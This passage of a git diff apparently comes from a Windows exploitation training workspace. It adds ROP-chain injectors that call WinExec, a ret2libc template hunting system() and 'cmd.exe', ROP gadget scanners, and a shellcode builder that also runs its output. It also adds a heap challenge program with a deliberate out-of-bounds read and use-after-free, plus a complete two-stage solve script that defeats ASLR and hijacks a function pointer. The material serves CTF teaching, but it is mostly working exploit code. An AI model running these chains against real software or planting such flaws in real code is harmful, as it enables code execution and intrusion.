(buffer's address, fixed since ASLR is off): +// [0..7] "calc.exe" +// [8] 0x00 +// [56..63] &(pop rcx; ret) <- overwritten saved return address +// [64..71] BUF_ADDR <- popped into RCX (&"calc.exe") +// [72..79] &(pop rdx; pop r11; ret) +// [80..87] 1 <- popped into RDX (SW_SHOWNORMAL) +// [88..95] 0 <- popped into R11 (unused) +// [96..103]&WinExec <- final ret target + +#include +#include +#include + +#define TARGET_EXE "bof_noASLR_noCANARY.exe" +#define RET_INSN_ADDR ((LPVOID)(ULONG_PTR)0x000000014000729dULL) +#define BUF_ADDR ((ULONG_PTR)0x0000000000014fe80ULL) +#define RET_OFFSET 56 + +// RVAs inside ntdll.dll (constant across reboots; only ntdll's load base moves) +#define POP_RCX_RET_RVA 0x1a853 +#define POP_RDX_POP_R11_RET_RVA 0x8cc27 + +int main(void) { + char placeholder[71]; + memset(placeholder, 'A', 70); + placeholder[70] = '\0'; + + char cmdline[256]; + snprintf(cmdline, sizeof(cmdline), "%s %s", TARGET_EXE, placeholder); + + STARTUPINFOA si; + PROCESS_INFORMATION pi; + ZeroMemory(&si, sizeof(si)); + si.cb = sizeof(si); + ZeroMemory(&pi, sizeof(pi)); + + if (!CreateProcessA(NULL, cmdline, NULL, NULL, FALSE, + DEBUG_ONLY_THIS_PROCESS, NULL, NULL, &si, &pi)) { + printf("[-] CreateProcess failed: %lu\n", GetLastError()); + return 1; + } + + HMODULE hNtdll = GetModuleHandleA("ntdll.dll"); + HMODULE hK32 = GetModuleHandleA("kernel32.dll"); + if (!hNtdll || !hK32) { + printf("[-] failed to resolve module handles\n"); + return 1; + } + + ULONG_PTR ntdllBase = (ULONG_PTR)hNtdll; + ULONG_PTR popRcxRet = ntdllBase + POP_RCX_RET_RVA; + ULONG_PTR popRdxR11Ret = ntdllBase + POP_RDX_POP_R11_RET_RVA; + ULONG_PTR winExec = (ULONG_PTR)GetProcAddress(hK32, "WinExec"); + + printf("[*] ntdll base: 0x%p\n", (void*)ntdllBase); + printf("[*] pop rcx;ret: 0x%p\n", (void*)popRcxRet); + printf("[*] pop rdx;r11;ret: 0x%p\n", (void*)popRdxR11Ret); + printf("[*] WinExec: 0x%p\n", (void*)winExec); + + BYTE origByte = 0; + SIZE_T bytesIO; + BOOL patched = FALSE; + DEBUG_EVENT dbg; + + while (WaitForDebugEvent(&dbg, INFINITE)) { + DWORD contStatus = DBG_CONTINUE; + + if (dbg.dwDebugEventCode == CREATE_PROCESS_DEBUG_EVENT) { + ReadProcessMemory(pi.hProcess, RET_INSN_ADDR, &origByte, 1, &bytesIO); + BYTE int3 = 0xCC; + WriteProcessMemory(pi.hProcess, RET_INSN_ADDR, &int3, 1, &bytesIO); + FlushInstructionCache(pi.hProcess, RET_INSN_ADDR, 1); + if (dbg.u.CreateProcessInfo.hFile) CloseHandle(dbg.u.CreateProcessInfo.hFile); + } + else if (dbg.dwDebugEventCode == EXCEPTION_DEBUG_EVENT) { + EXCEPTION_RECORD *er = &dbg.u.Exception.ExceptionRecord; + + if (!patched && er->ExceptionCode == EXCEPTION_BREAKPOINT && + er->ExceptionAddress == RET_INSN_ADDR) { + + patched = TRUE; + printf("[+] hit breakpoint at copy()'s ret, patching stack...\n"); + + WriteProcessMemory(pi.hProcess, RET_INSN_ADDR, &origByte, 1, &bytesIO); + FlushInstructionCache(pi.hProcess, RET_INSN_ADDR, 1); + + CONTEXT ctx; + memset(&ctx, 0, sizeof(ctx)); + ctx.ContextFlags = CONTEXT_ALL; + GetThreadContext(pi.hThread, &ctx); + ctx.Rip = (DWORD64)(ULONG_PTR)RET_INSN_ADDR; + SetThreadContext(pi.hThread, &ctx); + + const char *cmd = "notepad.exe"; + BYTE chain[104]; + memset(chain, 0, sizeof(chain)); + memcpy(chain, cmd, strlen(cmd) + 1); + + ULONG_PTR *p = (ULONG_PTR*)(chain + RET_OFFSET); + p[0] = popRcxRet; + p[1] = BUF_ADDR; + p[2] = popRdxR11Ret; + p[3] = 1; + p[4] = 0; + p[5] = winExec; + + WriteProcessMemory(pi.hProcess, (LPVOID)BUF_ADDR, chain, sizeof(chain), &bytesIO); + FlushInstructionCache(pi.hProcess, (LPVOID)BUF_ADDR, sizeof(chain)); + + printf("[+] chain injected (%zu bytes written), resuming...\n", (size_t)bytesIO); + ContinueDebugEvent(dbg.dwProcessId, dbg.dwThreadId, DBG_CONTINUE); + continue; + } + } + else if (dbg.dwDebugEventCode == EXIT_PROCESS_DEBUG_EVENT) { + printf("[*] target exited, code=%lu\n", dbg.u.ExitProcess.dwExitCode); + ContinueDebugEvent(dbg.dwProcessId, dbg.dwThreadId, DBG_CONTINUE); + break; + } + + ContinueDebugEvent(dbg.dwProcessId, dbg.dwThreadId, contStatus); + } + + CloseHandle(pi.hProcess); + CloseHandle(pi.hThread); + Sleep(2000); // give WinExec's spawned child a moment to finish before we (and our job tree) exit + return 0; +} diff --git a/workspace/bof_basic/solve_ret2libc.exe b/workspace/bof_basic/solve_ret2libc.exe new file mode 100644 index 0000000..641dcf6 Binary files /dev/null and b/workspace/bof_basic/solve_ret2libc.exe differ diff --git a/workspace/bof_basic/vc140.pdb b/workspace/bof_basic/vc140.pdb new file mode 100644 index 0000000..b822622 Binary files /dev/null and b/workspace/bof_basic/vc140.pdb differ diff --git a/workspace/demos/leak_msvcrt/bof_win.c.exe b/workspace/demos/leak_msvcrt/bof_win.c.exe new file mode 100644 index 0000000..caf6594 Binary files /dev/null and b/workspace/demos/leak_msvcrt/bof_win.c.exe differ diff --git a/workspace/demos/leak_msvcrt/main.go b/workspace/demos/leak_msvcrt/main.go new file mode 100644 index 0000000..e1aa963 --- /dev/null +++ b/workspace/demos/leak_msvcrt/main.go @@ -0,0 +1,85 @@ +package main + +import ( + "bytes" + "fmt" + "log" + "winpwn" +) + +func main() { + + pe, err := winpwn.OpenPE("./bof_win.c.exe") + + if err == nil { + defer pe.Close() + } + + msvcrt, err := winpwn.OpenPE("C:\\Windows\\System32\\msvcrt.dll") + if err != nil { + log.Fatalf("Failed to open DLL: %v", err) + } + defer msvcrt.Close() + + // 2. Ищем функцию system (аналог libc.symbols['system']) + systemRVA, err := msvcrt.GetProcAddress("system") + if err != nil { + log.Fatalf("system() not found") + } + log.Printf("[+] system() RVA: 0x%X", systemRVA) + + // 3. Ищем строку "cmd.exe\x00" (аналог next(libc.search(b'cmd.exe\x00'))) + cmdPattern := []byte("cmd.exe\x00") + cmdRVAs, err := msvcrt.SearchBytes(cmdPattern) + if err != nil { + log.Fatalf("String 'cmd.exe' not found") + } + log.Printf("[+] 'cmd.exe' RVA: 0x%X", cmdRVAs[0]) + + // ... Логика утечки (leak) базового адреса msvcrt.dll во время исполнения ... + var msvcrtBase uint64 = 0x7FF00000000 // Пример полученного адреса + + // 4. Вычисляем абсолютные адреса для ROP-цепочки + systemAddr := msvcrtBase + systemRVA + cmdStringAddr := msvcrtBase + cmdRVAs[0] + + log.Printf("[+] system() absolute address: 0x%X", systemAddr) + log.Printf("[+] 'cmd.exe' absolute address: 0x%X", cmdStringAddr) + + //------------------------------------ + rop, err := winpwn.NewROP("bof_win.c.exe") // native scanner, no rp++ needed + if err != nil { + log.Fatalf("rop init error : %v", err) + } + defer rop.Close() + + popRcx, err := rop.Search("pop rcx ; ret") + if err != nil { + log.Fatalf("Gadget not found") + } + + // Выводим первый найденный гаджет + fmt.Printf("[+] Found 'pop rcx; ret' at: 0x%X\n", popRcx[0].Address) + + // Интеграция в пейлоад + // payload = append(payload, winpwn.P64(popRcx[0].Address)...) + + payload := bytes.Repeat([]byte("a"), 128) + + p, err := winpwn.Spawn("bof_win.c.exe") + if err != nil { + log.Fatalf("Spawn: %v", err) + } + + if err := p.SendLineAfter([]byte("enter your data: \n"), payload); err != nil { + log.Fatalf("SendLineAfter: %v", err) + } + + p.Interactive() +} + +/*На что обратить внимание твоим участникам: + + Shadow Space (Теневое пространство): В отличие от Linux, в Windows вызывающая функция обязана выделить 32 байта (4 слота по 8 байт) на стеке перед вызовом любой другой функции. Поскольку мы прыгаем прямо в пролог функции win(), она сама выделит себе место. Но если строить сложный ROP (вызов system напрямую через ROP), перед адресом system пришлось бы класть 32 байта мусора. + + Stack Alignment: WinAPI (через которые работает system в недрах msvcrt.dll) используют инструкции movaps, которые крашатся (выдают Access Violation), если стек не выровнен на 16 байт. Именно для этого в цепочку часто вклинивают один пустой ret. */ diff --git a/workspace/demos/pe_multitool/gadgets.txt b/workspace/demos/pe_multitool/gadgets.txt new file mode 100644 index 0000000..c9f1bb8 Binary files /dev/null and b/workspace/demos/pe_multitool/gadgets.txt differ diff --git a/workspace/demos/pe_multitool/main.go b/workspace/demos/pe_multitool/main.go new file mode 100644 index 0000000..f9cba66 --- /dev/null +++ b/workspace/demos/pe_multitool/main.go @@ -0,0 +1,115 @@ +// pe_multitool tours the static-analysis side of winpwn: checksec, section +// entropy, IAT/EAT navigation with forwarder resolution, and the native ROP +// gadget scanner. Run from: workspace/demos/pe_multitool -> go run . +package main + +import ( + "fmt" + "log" + "winpwn" +) +const target = "../../../../Users/lee/Desktop/win_sems/Seminar/2019_Winter_WinPwn/200108/Lab2/simple_rop.exe" +//const target = "../../../../Windows/System32/kernel32.dll" + +func main() { + pe, err := winpwn.OpenPE(target) + if err != nil { + log.Fatalf("OpenPE: %v", err) + } + defer pe.Close() + + is64, _ := pe.Is64Bit() + base, _ := pe.ImageBase() + entry, _ := pe.EntryPoint() + fmt.Printf("=== %s ===\n", target) + fmt.Printf("64-bit: %v ImageBase: 0x%X EntryPoint: 0x%X\n\n", is64, base, entry) + + // --- checksec --- + cs, err := pe.Checksec() + if err != nil { + log.Fatalf("Checksec: %v", err) + } + fmt.Println("--- checksec ---") + fmt.Printf("ASLR (DYNAMIC_BASE): %v\n", cs.ASLR) + fmt.Printf("High-Entropy VA: %v\n", cs.HighEntropyVA) + fmt.Printf("DEP (NX_COMPAT): %v\n", cs.DEP) + fmt.Printf("CFG: %v\n", cs.CFG) + if cs.SEHApplicable { + fmt.Printf("SafeSEH: %v\n", cs.SafeSEH) + } else { + fmt.Println("SafeSEH: n/a (x64 uses table-based SEH)") + } + fmt.Printf("GS cookie (heuristic): %v\n", cs.GSHeuristic) + fmt.Printf("Authenticode present: %v\n", cs.AuthenticodeSigned) + fmt.Println() + + // --- section entropy / packing --- + fmt.Println("--- sections ---") + for _, sec := range pe.Sections() { + entropy, _ := sec.Entropy() + fmt.Printf("%-10s R=%v W=%v X=%v entropy=%.2f\n", + sec.Name, sec.IsReadable(), sec.IsWritable(), sec.IsExecutable(), entropy) + } + fmt.Println() + + // --- IAT: what does this binary already pull in? --- + fmt.Println("--- interesting imports ---") + for _, name := range []string{"VirtualProtect", "VirtualAlloc", "LoadLibraryA", "GetProcAddress", "CreateFileA"} { + imp, err := pe.FindImport(name) + if err != nil { + fmt.Printf("%-16s not imported\n", name) + continue + } + fmt.Printf("%-16s %s!%s IAT RVA=0x%X\n", name, imp.DLL, imp.Name, imp.IATRVA) + } + fmt.Println() + + // --- EAT: does this binary export anything (e.g. a win() for ROP)? --- + exports, err := pe.ListExports() + if err == nil { + fmt.Printf("--- exports (%d) ---\n", len(exports)) + for _, e := range exports { + if e.ForwardTarget != "" { + dll, fn := winpwn.ParseForwardTarget(e.ForwardTarget) + fmt.Printf("%s -> forwards to %s!%s\n", e.Name, dll, fn) + } else { + fmt.Printf("%s RVA=0x%X\n", e.Name, e.RVA) + } + } + fmt.Println() + } + + // --- native ROP gadget scan, no rp++/Ropper required --- + rop, err := winpwn.NewROP(target) + if err != nil { + log.Fatalf("NewROP: %v", err) + } + defer rop.Close() + + fmt.Println("--- gadgets ---") + if g, err := rop.Search("pop ecx ; ret"); err == nil { + fmt.Printf("pop ecx ; ret: 0x%X (%d candidates)\n", g[0].Address, len(g)) + if lines, err := rop.Disassemble(g[0].Address, 2); err == nil { + fmt.Printf(" verified: %v\n", lines) + } + } + + if g, err := rop.Search("pop eax ; ret"); err == nil { + fmt.Printf("pop eax ; ret: 0x%X (%d candidates)\n", g[0].Address, len(g)) + if lines, err := rop.Disassemble(g[0].Address, 2); err == nil { + fmt.Printf(" verified: %v\n", lines) + } + } + + if g, err := rop.Search("mov dword ptr [ecx], eax ; mov eax, esi ; pop esi ; pop ebp ; ret"); err == nil { + fmt.Printf("mov dword ptr [ecx], eax ; mov eax, esi ; pop esi ; pop ebp ; ret: 0x%X (%d candidates)\n", g[0].Address, len(g)) + if lines, err := rop.Disassemble(g[0].Address, 2); err == nil { + fmt.Printf(" verified: %v\n", lines) + } + } + + if g, err := rop.SearchRegex(`^pop r\w+ ; pop r\w+ ; ret$`); err == nil { + fmt.Printf("pop r.. ; pop r.. ; ret: %d candidates, first at 0x%X\n", len(g), g[0].Address) + } + +} diff --git a/workspace/demos/pe_multitool/simple_rop.go b/workspace/demos/pe_multitool/simple_rop.go new file mode 100644 index 0000000..dfee5ed --- /dev/null +++ b/workspace/demos/pe_multitool/simple_rop.go @@ -0,0 +1,54 @@ +// pe_multitool tours the static-analysis side of winpwn: checksec, section +// entropy, IAT/EAT navigation with forwarder resolution, and the native ROP +// gadget scanner. Run from: workspace/demos/pe_multitool -> go run . +package main + +import ( + "fmt" + "log" + "winpwn" +) +//const target = "../../../../Users/lee/Desktop/win_sems/Seminar/2019_Winter_WinPwn/200108/Lab1/simple_rop.exe" +const target = "../../../../Windows/SysWOW64/kernel32.dll" + +func main() { + pe, err := winpwn.OpenPE(target) + if err != nil { + log.Fatalf("OpenPE: %v", err) + } + defer pe.Close() + + // --- native ROP gadget scan, no rp++/Ropper required --- + rop, err := winpwn.NewROP(target) + if err != nil { + log.Fatalf("NewROP: %v", err) + } + defer rop.Close() + + fmt.Println("--- gadgets ---") + if g, err := rop.Search("pop ecx ; ret"); err == nil { + fmt.Printf("pop ecx ; ret: 0x%X (%d candidates)\n", g[0].Address, len(g)) + if lines, err := rop.Disassemble(g[0].Address, 2); err == nil { + fmt.Printf(" verified: %v\n", lines) + } + } + + if g, err := rop.Search("pop eax ; ret"); err == nil { + fmt.Printf("pop eax ; ret: 0x%X (%d candidates)\n", g[0].Address, len(g)) + if lines, err := rop.Disassemble(g[0].Address, 2); err == nil { + fmt.Printf(" verified: %v\n", lines) + } + } + + if g, err := rop.Search("mov dword ptr [ecx], eax ; mov eax, esi ; pop esi ; pop ebp ; ret"); err == nil { + fmt.Printf("mov dword ptr [ecx], eax ; mov eax, esi ; pop esi ; pop ebp ; ret: 0x%X (%d candidates)\n", g[0].Address, len(g)) + if lines, err := rop.Disassemble(g[0].Address, 2); err == nil { + fmt.Printf(" verified: %v\n", lines) + } + } + + if g, err := rop.SearchRegex(`^pop r\w+ ; pop r\w+ ; ret$`); err == nil { + fmt.Printf("pop r.. ; pop r.. ; ret: %d candidates, first at 0x%X\n", len(g), g[0].Address) + } + +} diff --git a/workspace/demos/shellcraft_winexec/main.go b/workspace/demos/shellcraft_winexec/main.go new file mode 100644 index 0000000..3547b4c --- /dev/null +++ b/workspace/demos/shellcraft_winexec/main.go @@ -0,0 +1,26 @@ +// shellcraft_winexec demonstrates winpwn's first shellcraft template: +// position-independent x64 shellcode that resolves kernel32 via the PEB +// (no leak/hardcoded base needed) and calls WinExec. Useful as the payload +// at the end of a ROP chain, or to drop directly into a hijacked function +// pointer / vtable entry. +package main + +import ( + "fmt" + "log" + "winpwn" +) + +func main() { + code, err := winpwn.ShellcodeWinExec("putty.exe") + if err != nil { + log.Fatal(err) + } + fmt.Printf("%d bytes of shellcode, ready to splice into a payload:\n%x\n", len(code), code) + + // Validating it actually runs (rather than just trusting the bytes) + // before landing it via a real exploit primitive: + if err := winpwn.ExecuteShellcode(code); err != nil { + log.Fatal(err) + } +} diff --git a/workspace/go.mod b/workspace/go.mod new file mode 100644 index 0000000..983aa58 --- /dev/null +++ b/workspace/go.mod @@ -0,0 +1,12 @@ +module ctfsolve + +go 1.26.2 + +require winpwn v0.0.0 + +require ( + golang.org/x/arch v0.28.0 // indirect + golang.org/x/sys v0.46.0 // indirect +) + +replace winpwn => ../go_pwner diff --git a/workspace/go.sum b/workspace/go.sum new file mode 100644 index 0000000..74e8c6f --- /dev/null +++ b/workspace/go.sum @@ -0,0 +1,4 @@ +golang.org/x/arch v0.28.0 h1:wVwVdqsTuUbJvhYVCspQYwZXHNYeLSoZnmHD+ggddpQ= +golang.org/x/arch v0.28.0/go.mod h1:0X+GdSIP+kL5wPmpK7sdkEVTt2XoYP0cSjQSbZBwOi8= +golang.org/x/sys v0.46.0 h1:noSf2Fq6F8DBgS+LysIkx7rIExoNHJsxOAtPp4rthXw= +golang.org/x/sys v0.46.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw= diff --git a/workspace/heap_info_leak/flag.txt b/workspace/heap_info_leak/flag.txt new file mode 100644 index 0000000..00499be --- /dev/null +++ b/workspace/heap_info_leak/flag.txt @@ -0,0 +1 @@ +flag{oob_read_plus_uaf_aslr_bypass} diff --git a/workspace/heap_info_leak/heap_info_leak.exe b/workspace/heap_info_leak/heap_info_leak.exe new file mode 100644 index 0000000..8a2408f Binary files /dev/null and b/workspace/heap_info_leak/heap_info_leak.exe differ diff --git a/workspace/heap_info_leak/main.go b/workspace/heap_info_leak/main.go new file mode 100644 index 0000000..700dd9b --- /dev/null +++ b/workspace/heap_info_leak/main.go @@ -0,0 +1,137 @@ +/* +Solve script for heap_info_leak.exe: two-stage exploit. + +Stage 1 -- OOB read to defeat ASLR: +The binary has ASLR enabled (DynamicBase flag set -- run `winpwn checksec` to +confirm). The win() address is randomized per run. But the S command prints +an arbitrary number of bytes from note[id]->data with no bounds check. Asking +for 32 bytes from a 24-byte Note reveals bytes 24-31, which are the 8-byte +onShow function pointer (real_show, also exported). From real_show's runtime +address and the static RVA difference (win_rva - real_show_rva, from the PE +export table), we compute win()'s runtime address: + + win_va = leaked_real_show_va + (win_rva - real_show_rva) + +Stage 2 -- UAF function pointer overwrite: +The D command frees the note (dangling pointer stays in the table). The T +command allocates a raw 32-byte token; since LFH is not active (< 18 +same-size allocations), the freed chunk is reused immediately. We place win_va +at offset 24 of the token payload (the onShow slot). P dispatches through +the dangling note pointer and lands at win(). + +Real-CTF parallels (see heap_info_leak.c's top comment): +- justCTF 2024 "Baby Heap but Windows": heap struct at heap+0x2c0 leaks ntdll +- ECW CTF 2024 "Address Book": type confusion OOB read leaks binary pointer +*/ +package main + +import ( + "bytes" + "encoding/binary" + "encoding/hex" + "fmt" + "log" + "strconv" + "winpwn" +) + +func parseAddr(line []byte) (uint64, error) { + idx := bytes.Index(line, []byte("addr=0x")) + if idx == -1 { + return 0, fmt.Errorf("no addr= in %q", line) + } + return strconv.ParseUint(string(bytes.TrimSpace(line[idx+7:])), 16, 64) +} + +func main() { + // Load the PE on-disk to compute static RVA offsets + pf, err := winpwn.OpenPE("heap_info_leak.exe") + if err != nil { + log.Fatalf("OpenPE: %v", err) + } + realShowRVA, err := pf.GetProcAddress("real_show") + if err != nil { + log.Fatalf("real_show not found in exports: %v", err) + } + winRVA, err := pf.GetProcAddress("win") + if err != nil { + log.Fatalf("win not found in exports: %v", err) + } + pf.Close() + + // The RVA difference is the static offset between win() and real_show() -- + // constant regardless of where ASLR loads the binary. + rvaDiff := int64(winRVA) - int64(realShowRVA) + fmt.Printf("[+] win RVA=0x%x real_show RVA=0x%x diff=%+d\n", winRVA, realShowRVA, rvaDiff) + + tube, err := winpwn.Spawn("heap_info_leak.exe") + if err != nil { + log.Fatalf("Spawn: %v", err) + } + if _, err := tube.RecvLine(); err != nil { // "heap_info_leak ready ..." + log.Fatalf("RecvLine: %v", err) + } + + // Stage 1a: allocate one Note + if err := tube.SendLine([]byte("N victim")); err != nil { + log.Fatalf("SendLine N: %v", err) + } + resp, err := tube.RecvLine() + if err != nil { + log.Fatalf("RecvLine N: %v", err) + } + noteAddr, _ := parseAddr(resp) + fmt.Printf("[+] Note @ 0x%x\n", noteAddr) + + // Stage 1b: OOB read -- request 32 bytes (struct size), byte 24-31 = onShow ptr + if err := tube.SendLine([]byte("S 0 32")); err != nil { + log.Fatalf("SendLine S: %v", err) + } + resp, err = tube.RecvLine() + if err != nil { + log.Fatalf("RecvLine S: %v", err) + } + // resp: "HEX <64 hex chars>" + hexPart := bytes.TrimPrefix(bytes.TrimSpace(resp), []byte("HEX ")) + leaked, err := hex.DecodeString(string(hexPart)) + if err != nil || len(leaked) < 32 { + log.Fatalf("bad HEX response: %q", resp) + } + realShowVA := binary.LittleEndian.Uint64(leaked[24:32]) + fmt.Printf("[+] leaked onShow = real_show @ 0x%x (ASLR'd!)\n", realShowVA) + + // Stage 1c: compute win()'s runtime address + winVA := uint64(int64(realShowVA) + rvaDiff) + fmt.Printf("[+] win() @ 0x%x (computed from leak + static RVA diff)\n", winVA) + + // Stage 2a: free the victim (dangling pointer stays) + if err := tube.SendLine([]byte("D 0")); err != nil { + log.Fatalf("SendLine D: %v", err) + } + if _, err := tube.RecvLine(); err != nil { + log.Fatalf("RecvLine D: %v", err) + } + fmt.Printf("[+] freed victim note (dangling pointer at id=0)\n") + + // Stage 2b: allocate Token with win() at offset 24 (onShow position) + payload := append(bytes.Repeat([]byte{0x41}, 24), winpwn.P64(winVA)...) + if err := tube.SendLine([]byte("T " + winpwn.Enhex(payload))); err != nil { + log.Fatalf("SendLine T: %v", err) + } + resp, err = tube.RecvLine() + if err != nil { + log.Fatalf("RecvLine T: %v", err) + } + tokenAddr, _ := parseAddr(resp) + fmt.Printf("[+] Token @ 0x%x (want 0x%x)\n", tokenAddr, noteAddr) + if tokenAddr != noteAddr { + fmt.Printf("[-] WARN: chunk reuse mismatch -- may fail\n") + } + + // Stage 2c: trigger the UAF call + fmt.Printf("[+] triggering P 0 (UAF -> win())...\n") + if err := tube.SendLine([]byte("P 0")); err != nil { + log.Fatalf("SendLine P: %v", err) + } + tube.Interactive() +} diff --git a/workspace/heap_info_leak/src/heap_info_leak.c b/workspace/heap_info_leak/src/heap_info_leak.c new file mode 100644 index 0000000..9e730f6 --- /dev/null +++ b/workspace/heap_info_leak/src/heap_info_leak.c @@ -0,0 +1,177 @@ +/* +heap_info_leak -- two-stage Windows heap exploit: OOB read to defeat ASLR, +then UAF function-pointer overwrite to get code execution. + +STAGE 1 (info leak): The S command prints up to `len` bytes from a Note's +data field -- but puts no upper bound on `len`. A Note is: + + struct Note { char data[24]; void(*onShow)(const char*); } = 32 bytes + +Requesting S 32 prints all 32 bytes: the 24 bytes of actual data AND the +8-byte function pointer onShow (= real_show, a known-offset function inside +this binary). Since the binary has ASLR enabled (DynamicBase set -- try +`winpwn checksec`), the runtime address is random per run. But it's a fixed +offset from the binary's base. Reading those 8 bytes at runtime reveals the +actual load address, and from there the player computes win()'s address as: + win_va = leaked_real_show_va + (win_rva - real_show_rva) +where the RVA difference is a static property of the binary, readable via +`winpwn exports heap_info_leak.exe`. + +STAGE 2 (UAF): The D command frees note[id] (pointer stays in table). The T +command allocates a raw 32-byte token from the same private heap. Since LFH is +NOT active (≤1 prior allocation of this size), the freed Note slot comes back +immediately on the next 32-byte allocation. The player places win()'s computed +address at offset 24 in the token -- exactly where onShow lives. Then P +dispatches through the dangling note pointer, calling win(). + +Protocol (one command per line, stdout unbuffered): + N allocate Note{data=text (truncated 23 chars), onShow=real_show}. + -> "OK id= addr=0x" + S print exactly bytes of note[id]->data as hex. + Bug: no bounds check on len (valid: 1..255). + -> "HEX " + D HeapFree note (pointer stays -- the UAF bug). + -> "OK" + T allocate raw 32-byte token with attacker content. + -> "OK addr=0x" + P call note[id]->onShow(note[id]->data). + -> output (or crash if onShow is garbage) + Q quit. + +NOTE FOR TASK AUTHORS: This is the standard two-step pattern used in: +- justCTF 2024 "Baby Heap but Windows": heap UAF + ntdll leak via heap+0x2c0 +- ECW CTF 2024 "Address Book": type confusion OOB read leaks binary pointer +The binary has ASLR enabled (unlike the other heap_* examples in this repo +which all have ASLR: No) because learning to handle info-leak → address-compute +→ exploit is the explicit teaching goal. The player MUST read the leaked function +pointer bytes and calculate win()' runtime address. The solve script in main.go +demonstrates the full chain in Go using winpwn's OpenPE to get the RVA offset. +*/ +#define _CRT_SECURE_NO_WARNINGS +#include +#include +#include +#include + +typedef struct Note { + char data[24]; + void (*onShow)(const char *); +} Note; + +#define MAX_NOTES 256 +static Note *g_notes[MAX_NOTES]; +static int g_note_count = 0; +static HANDLE g_heap; + +__declspec(dllexport) void real_show(const char *data) { + printf("note: %.*s\n", 23, data); + fflush(stdout); +} + +__declspec(dllexport) void win(const char *ignored) { + HANDLE hFile; + char buffer[256]; + DWORD bytesRead; + + printf("two-stage exploit worked: OOB read defeated ASLR, UAF gave code exec\n"); + fflush(stdout); + + hFile = CreateFileA("flag.txt", GENERIC_READ, FILE_SHARE_READ, NULL, + OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + if (hFile == INVALID_HANDLE_VALUE) { + printf("Cannot open flag.txt\n"); fflush(stdout); ExitProcess(0); + } + if (ReadFile(hFile, buffer, sizeof(buffer) - 1, &bytesRead, NULL) && bytesRead > 0) { + buffer[bytesRead] = '\0'; + printf("%s", buffer); fflush(stdout); + } + CloseHandle(hFile); + ExitProcess(0); +} + +static int hexval(char c) { + if (c >= '0' && c <= '9') return c - '0'; + if (c >= 'a' && c <= 'f') return c - 'a' + 10; + if (c >= 'A' && c <= 'F') return c - 'A' + 10; + return -1; +} +static int unhex(const char *hex, unsigned char *out, int maxout) { + int n = (int)strlen(hex); + if (n % 2 != 0 || n / 2 > maxout) return 0; + for (int i = 0; i < n / 2; i++) { + int hi = hexval(hex[i * 2]), lo = hexval(hex[i * 2 + 1]); + if (hi < 0 || lo < 0) return 0; + out[i] = (unsigned char)((hi << 4) | lo); + } + return n / 2; +} + +int main(void) { + setvbuf(stdout, NULL, _IONBF, 0); + setvbuf(stdin, NULL, _IONBF, 0); + + g_heap = HeapCreate(0, 0, 0); + if (!g_heap) { printf("HeapCreate failed\n"); return 1; } + printf("heap_info_leak ready (ASLR: enabled, DynamicBase set)\n"); + + char line[512]; + while (fgets(line, sizeof(line), stdin)) { + line[strcspn(line, "\r\n")] = 0; + + if (line[0] == 'N' && line[1] == ' ') { + if (g_note_count >= MAX_NOTES) { printf("ERR\n"); continue; } + Note *n = (Note *)HeapAlloc(g_heap, 0, sizeof(Note)); + if (!n) { printf("ERR alloc\n"); continue; } + memset(n->data, 0, sizeof(n->data)); + strncpy(n->data, line + 2, sizeof(n->data) - 1); + n->onShow = real_show; + int id = g_note_count++; + g_notes[id] = n; + printf("OK id=%d addr=0x%p\n", id, (void *)n); + + } else if (line[0] == 'S' && line[1] == ' ') { + int id, len; + if (sscanf(line + 2, "%d %d", &id, &len) != 2 || len < 1 || len > 255) { + printf("ERR usage: S \n"); continue; + } + if (id < 0 || id >= g_note_count || !g_notes[id]) { + printf("ERR bad id\n"); continue; + } + /* BUG: prints len bytes from data but no check that len <= 24 */ + printf("HEX "); + const unsigned char *p = (const unsigned char *)g_notes[id]->data; + for (int i = 0; i < len; i++) printf("%02x", p[i]); + printf("\n"); + + } else if (line[0] == 'D' && line[1] == ' ') { + int id = atoi(line + 2); + if (id < 0 || id >= g_note_count || !g_notes[id]) { + printf("ERR bad id\n"); continue; + } + HeapFree(g_heap, 0, g_notes[id]); + /* BUG: pointer stays */ + printf("OK\n"); + + } else if (line[0] == 'T' && line[1] == ' ') { + unsigned char buf[32]; + int n = unhex(line + 2, buf, 32); + if (n != 32) { printf("ERR need 64 hex chars\n"); continue; } + void *p = HeapAlloc(g_heap, 0, 32); + if (!p) { printf("ERR alloc\n"); continue; } + memcpy(p, buf, 32); + printf("OK addr=0x%p\n", p); + + } else if (line[0] == 'P' && line[1] == ' ') { + int id = atoi(line + 2); + if (id < 0 || id >= g_note_count) { printf("ERR bad id\n"); continue; } + g_notes[id]->onShow(g_notes[id]->data); + + } else if (line[0] == 'Q') { + break; + } else { + printf("ERR unknown\n"); + } + fflush(stdout); + } + return 0; +} diff --git a/workspace/heap_lfh/flag.txt b/workspace/heap_lfh/flag.txt new file mode 100644 index 0000000..65fb7c8 --- /dev/null +++ b/workspace/heap_lfh/flag.txt @@ -0,0 +1 @@ +flag{lfh_note_onprint_hijack} diff --git a/workspace/heap_lfh/heap_lfh.exe b/workspace/heap_lfh/heap_lfh.exe new file mode 100644 index 0000000..4c83da9 Binary files /dev/null and b/workspace/heap_lfh/heap_lfh.exe differ diff --git a/workspace/heap_lfh/main.go b/workspace/heap_lfh/main.go new file mode 100644 index 0000000..55214fd --- /dev/null +++ b/workspace/heap_lfh/main.go @@ -0,0 +1,165 @@ +/* +Solve script for heap_lfh.exe (see src/heap_lfh.c): a use-after-free on a +real, explicitly-LFH-mode Windows heap (HeapCompatibilityInformation=2), +not a simulation. + +The grooming trick, found empirically while building this example (see +USAGE.md's "Walkthrough 3" for the full story): LFH only reuses a freed +slot quickly if it's freed from the *currently active* subsegment, which +in practice means the *most recently allocated* same-size object. Freeing +an early one can fail to come back for tens of thousands of attempts; +freeing the last one allocated reliably reuses within a handful of +allocations (1-16 in repeated empirical runs on this machine/OS build). + +So: allocate a few filler notes, allocate the victim note *last*, free it, +then spray 32-byte buffers (each containing a fake onPrint pointing at +win()) until the leaked address of a spray matches the victim's leaked +address -- then call P on the victim id. The spray/retry loop itself is +winpwn.SprayAndFind (spray.go), not hand-rolled here -- examples/heap_segment +needed the same shape (spray N times, look for a match against known +samples) for a structurally different relation, which is exactly the +"third copy-paste" signal that means it belongs in the library, not a +script. + +NOTE FOR TASK AUTHORS (not specific to this task -- read this before +designing your own heap challenge): every numeric "fact" this solve script +or its USAGE.md walkthrough states about LFH's behavior (attempt counts, +"most recently allocated reuses reliably") was measured empirically on one +specific Windows 